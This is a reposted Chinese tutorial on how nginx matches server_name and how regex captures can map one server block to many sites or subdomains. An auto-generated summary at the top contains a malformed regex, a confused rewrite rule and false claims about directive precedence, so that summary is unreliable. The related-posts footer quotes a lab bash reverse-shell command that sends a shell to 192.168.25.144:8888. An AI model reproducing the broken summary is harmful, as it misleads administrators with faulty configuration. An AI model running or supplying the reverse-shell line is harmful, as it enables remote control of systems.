[转帖]浅析nginx的server及server_name的意义详解

浅析,nginx,server,name,意义,详解 · 浏览次数 : 0

小编点评

**`server_name` 指令详解** `server_name` 指令用于在 Nginx 中配置基于名称的虚拟主机。它的匹配顺序如下: 1. **准确匹配的 `server_name`** 2. **以 * 通配符开始的字符串** 3. **以 * 通配符结束的字符串** **示例:** ```nginx server_name ~^(www\.)?(.+)$; # 匹配 www.domain.com 和 example.org server { listen 80; server_name ~^(www\.)?(.+)$; index index.php index.html; root /data/wwwsite/$2; } # 匹配 blog.domain.com server { listen 80; server_name ~^(.+)?\.(domain\.)\.com$; # 重定向 domain.com 到 www.domain.com location ~ ^ { rewrite ^ http://www.$1 permanent; } } ``` **使用 `server_name` 指令的优点:** * 减少配置文件长度。 * 使用正则表达式捕获变量,简化配置。 * 提高维护性。 **注意:** * `server_name` 指令的匹配顺序优先级高于 `location` 指令。 * `server_name` 指令只能使用正则表达式捕获变量。 * `server_name` 指令支持使用 ip 进行匹配。

正文

https://www.cnblogs.com/goloving/p/7010713.html

 

一、server_name 详解

  当Nginx接到请求后,会匹配其配置中的server模块。匹配方法就是靠请求携带的host和port正好对应其配置中的server_name 和listen。如果做过ip和域名绑定,ip和域名二者是对等的。

  server_name指令主要用于配置基于名称的虚拟主机,server_name指令在接到请求后的匹配顺序的优先级分别为:

1、准确的server_name匹配:server {     listen       80;     server_name  domain.com  www.domain.com;     }

2、以*通配符开始的字符串:server {     listen       80;     server_name  *.domain.com;   }

3、以*通配符结束的字符串:server {     listen       80;     server_name  www.*;     }

注意: 通配符名字只可以在名字的起始处或结尾处包含一个星号,并且星号与其他字符之间用点分隔。所以 www.*.example.orgw*.example.org都是非法的。

有一种形如 .example.org的特殊通配符,它可以既匹配确切的名字 example.org,又可以匹配一般的通配符名字 *.example.org

4、匹配正则表达式:server {     listen       80;     server_name  ~^(?.+)\.domain\.com$;     }

  Nginx会按照以上1 > 2 > 3 > 4 的顺序对server name进行匹配(而和配置段本身的排版顺序无关),只要有一项匹配以后就会停止搜索,所以在使用这个指令的时候一定要分清楚它的匹配优先级顺序,与location指令类似。

  所以需要注意的是:第一,分清楚匹配优先级顺序;第二,在优先级一样的情况下,需要注意匹配顺序,只要有一项匹配后就会停止搜索的。

二、server_name 应用

  server_name指令一项很实用的功能就是可以在使用正则表达式的捕获功能,这样可以尽量精简配置文件,毕竟太长的配置文件不利于日常的维护工作。下面是2个具体的应用

1、在一个server块中配置多个站点

复制代码
server {
  listen 80;
  server_name ~^(www\.)?(.+)$;
  index index.php index.html;
  root /data/wwwsite/$2;
}
复制代码

  构建类似如下的站点目录结构,这样就可以只使用一个server块来完成多个站点的配置映射关系。如:/data/wwwsite/biying.com、/data/wwwsite/baidu.com、/data/wwwsite/google.com

  可以分析以上server配置段,发现使用了$2,而$2 正是server_name正则表达式【~^(www\.)?(.+)$】的第二个分组。

  正则表达式捕获组创建了变量,普通的正则表达式捕获组可以创建$0、$1、…、$9这10个变量。$0表示原串,$1-$9表示第一到第九个匹配组的内容。

2、在一个server块中为一个站点配置多个二级域名

  实际网站目录结构中通常会为站点的二级域名独立创建一个目录,同样可以使用正则的捕获来实现在一个server块中配置多个二级域名

复制代码
server{
  listen 80;
  server_name ~^(.+)?\.domain\.com$;
  index index.html;
  if ($host = domain.com){
    rewrite ^ http://www.domain.com permanent;
  }
  root /data/wwwsite/domain.com/$1/;
}
复制代码

  站点的目录结构应该如下:/data/wwwsite/domain.com/www/、/data/wwwsite/domain.com/blog/、/data/wwwsite/domain.com/bbs/

  访问www.domain.com时,root目录为 /data/wwwsite/domain.com/www/

  blog.domain.com时,为root目录为/data/wwwsite/domain.com/blog/,以此类推。

  上面 root 里的 $1 的匹配就是 server_name 里的正则匹配的第一个分组

  后面if语句的作用是将domain.com的方位重定向到www.domain.com,这样既解决了网站的主目录访问,又可以增加SEO中对www.domain.com的域名权重。另外,server_name 同样支持使用ip进行匹配。

3、多个正则表达式

  如果你在server_name中用了正则,而下面的location字段又使用了正则匹配,这样将无法使用$1,$2这样的引用,解决方法是通过set指令将其赋值给一个命名的变量:

复制代码
server {
     listen      80;
     server_name ~^(.+)?\.sklinux\.com$;
     set $www_root $1;
     root /data/wwwsite/sklinux.com/$www_root/;
     location ~ .*\.php?$ {
         fastcgi_pass   127.0.0.1:9000;
         fastcgi_index  index.php;
         fastcgi_param  SCRIPT_FILENAME /data/wwwsite/sklinux.com/$fastcgi_script_name;
         include        fastcgi_params;
   }
}
复制代码

与[转帖]浅析nginx的server及server_name的意义详解相似的内容:

[转帖]浅析nginx的server及server_name的意义详解

https://www.cnblogs.com/goloving/p/7010713.html 一、server_name 详解 当Nginx接到请求后,会匹配其配置中的server模块。匹配方法就是靠请求携带的host和port正好对应其配置中的server_name 和listen。如果做过ip

[转帖]一文浅析Nginx线程池!

https://zhuanlan.zhihu.com/p/616500765 Nginx通过使用多路复用IO(如Linux的epoll、FreeBSD的kqueue等)技术很好的解决了c10k问题,但前提是Nginx的请求不能有阻塞操作,否则将会导致整个Nginx进程停止服务。 但很多时候阻塞操作是

[转帖]浅析Nginx配置获取客户端真实IP的proxy_set_header、X-Real-IP、$remote_addr、X-Forwarded-For、$proxy_add_x_forwarded_for分别是什么意思

https://www.cnblogs.com/goloving/p/15588668.html 一、问题背景 在实际应用中,我们可能需要获取用户的ip地址,比如做异地登陆的判断,或者统计ip访问次数等,通常情况下我们使用 request.getRemoteAddr() 就可以获取到客户端ip,但是

[转帖]浅析IP地址及localhost、127.0.0.1和0.0.0.0的区别

https://www.cnblogs.com/goloving/p/7202151.html 127.0.0.1和0.0.0.0这两个IP地址再熟悉不过了,看起来好像就那么回事,但真正较起真来,这两个IP地址到底有什么作用以及到底有什么不同?貌似谁可以轻松回答,但张嘴却又不知从何说起(这要是面试,

[转帖]浅析./configure、make、make install之间的关系

https://www.cnblogs.com/zcj-0928/articles/16261389.html 写在前面: 可能我们都知道linux中安装软件方式的一种是:将源码sourcecode.tar.gz进行解压,然后输入./configure,接着make,最后make install,一

【转帖】浅析经典JVM垃圾收集器-Serial/ParNew/Parallel Scavenge/Serial Old/Parallel Old/CMS/G1

https://zhuanlan.zhihu.com/p/481256418 在讲述垃圾收集器之前,我们得先知道JVM中常见的垃圾收集算法有什么,具体请参考我的这篇博文。如果说收集算法是内存回收的方法论, 那垃圾收集器就是内存回收的实践者。下面就来详细概述下Serial、ParNew、Paralle

[转帖]浅析TiDB二阶段提交

https://cloud.tencent.com/developer/article/1608073 关键内容说明: TiDB 对于每个事务,会涉及改动的所有key中,选择出一个作为当前事务的Primary Key,其他的则为Secondary keys。 当Primary Key提交成功,标识整

[转帖]机械磁盘读取数据浅析

https://cdn.modb.pro/db/523794 读取硬盘上的数据,第一步就是找到所需的磁道,磁道就是以中间轴为圆心的圆环,首先我们需要找到所需要对准的磁道,并将磁头移动到对应的磁道上,这个过程叫做寻道。然后,我们需要等到磁盘转动,让磁头指向我们需要读取的数据开始的位置,这里耗费的时间称

[转帖]TiKV读写流程浅析

https://www.cnblogs.com/luohaixian/p/15227838.html 1.TiKV框架图和模块说明 图1 TiKV整体架构图 1.1.各模块说明 PD Cluster:它是由多个PD节点组成的etcd集群,PD是具有“上帝视角”的管理组件,负责存储元数据和进行负载均衡

[转帖]Linux之bash反弹shell原理浅析

环境 攻击机:kali ip:192.168.25.144 靶 机:centos ip:192.168.25.142 过程 kali 监听本地8888端口 靶机 centos 写入 反弹shell 的命令 bash -i >& /dev/tcp/192.168.25.144/8888 0>&1 攻击